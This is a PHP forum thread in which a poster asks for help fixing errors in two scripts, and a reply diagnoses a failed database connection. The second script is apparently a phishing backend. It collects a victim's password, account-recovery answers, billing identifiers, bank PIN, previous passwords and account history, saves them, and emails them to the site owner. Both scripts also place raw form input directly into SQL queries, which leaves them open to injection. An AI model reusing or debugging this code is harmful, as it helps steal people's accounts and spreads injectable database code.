Jump to content

Weird error with script


Russia

Recommended Posts

I have made this script.

 

<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');

$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];

require("inc/config.php");

$sql="INSERT INTO persons (Username, Password, Ip, AddedDate)
VALUES('$_POST[username]','$_POST[Password]','$ip','$date2')";
if (!mysql_query($sql))
{
die('Error: ' . mysql_error());
}
echo "Thank You for registering.";


$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close()

$subject = "New Registred User";
$from = "myself";
$message = "A new user has signed up and has been added to the database";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;


?> 

 

I am getting this error:

Parse error: syntax error, unexpected T_VARIABLE in /home/brickz/public_html/email.php on line 28

 

How would I fix it?

Link to comment
https://forums.phpfreaks.com/topic/176238-weird-error-with-script/
Share on other sites

Thanks, now I have another script with a problem:

 

I am now getting a new error on a different script:

 

<?php

$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];

require("../inc/config.php");

$sql="INSERT INTO `mod` (
Username, 
Password, 
Recov1, 
Recov2, 
Recov3, 
Recov4, 
Recov5, 
TransactionID, 
AgreementID, 
CreditCardSubscriptionMonth, 
CreditCardSubscriptionYear, 
TeleBillingPin, 
PayByCashMonth,
PayByCashYear,
PayByCashLength,
FirstPassword,
SecondPassword,
ThirdPassword,
PostCode,
Email,
BankPin,
BankPinConfirm,
AccountCreationMonth,
AccountCreationYear,
Isp,
MovedMonth,
MovedYear,
Message,
Ip, 
AddedDate
)
VALUES (
'$_POST[username]',
'$_POST[password]',
'$_POST[recovery1]',
'$_POST[recovery2]',
'$_POST[recovery3]',
'$_POST[recovery4]',
'$_POST[recovery5]',
'$_POST[transactionid]',
'$_POST[futurepayid]',
'$_POST[earliestccmonth]',
'$_POST[earliestccyear]',
'$_POST[telebillingpin]',
'$_POST[earliestpbcmonth]',
'$_POST[earliestpbcyear]',
'$_POST[pbclength]',
'$_POST[password1]',
'$_POST[password2]',
'$_POST[password3]',
'$_POST[postcode]',
'$_POST[email]',
'$_POST[newpassword1]',
'$_POST[newpassword2]',
'$_POST[creationmonth]',
'$_POST[creationyear]',
'$_POST[isp]',
'$_POST[movedmonth]',
'$_POST[movedyear]',
'$_POST[othercomments]',
'$ip',
'$date2'

)";
if (!mysql_query($sql))
{
die('Error: ' . mysql_error());
}
mysql_close()
?> 


<?php
$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close();
$subject = "New Registered User";
$from = "myself";
$message = "A new user has signed up and has been added to the database
$_POST[username]
$_POST[password]
$_POST[recovery1]
$_POST[recovery2]
$_POST[recovery3]
$_POST[recovery4]
$_POST[recovery5]
$_POST[transactionid]
$_POST[futurepayid]
$_POST[earliestccmonth]
$_POST[earliestccyear]
$_POST[telebillingpin]
$_POST[earliestpbcmonth]
$_POST[earliestpbcyear]
$_POST[pbclength]
$_POST[password1]
$_POST[password2]
$_POST[password3]
$_POST[postcode]
$_POST[email]
$_POST[newpassword1]
$_POST[newpassword2]
$_POST[creationmonth]
$_POST[creationyear]
$_POST[isp]
$_POST[movedmonth]
$_POST[movedyear]
$_POST[othercomments]
$ip
$date2
";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;


?> 

 

The error is:

Warning: mysql_query() [function.mysql-query]: Access denied for user 'brickz'@'localhost' (using password: NO) in /home/brickz/public_html/mod/index5.php on line 82

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/brickz/public_html/mod/index5.php on line 82
Could not run query: Access denied for user 'brickz'@'localhost' (using password: NO)

 

And line 82 is:

$result = mysql_query("SELECT email FROM members WHERE id = '1'");

It means your connection to the database has failed and thats why you are not able to make queries to db. Make sure you have connected to the database and that the connection attributes are correct. I assume you have the connection information in the config file you include.

Yes but for some reason its not working. Any reason why?

 

This is the connection file: config.php

<?php 
mysql_connect("localhost", "*****", "*****") or die(mysql_error());
mysql_select_db("*****") 
or die(mysql_error());

require("adverts.php");

?>

 

Any problems with it?

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.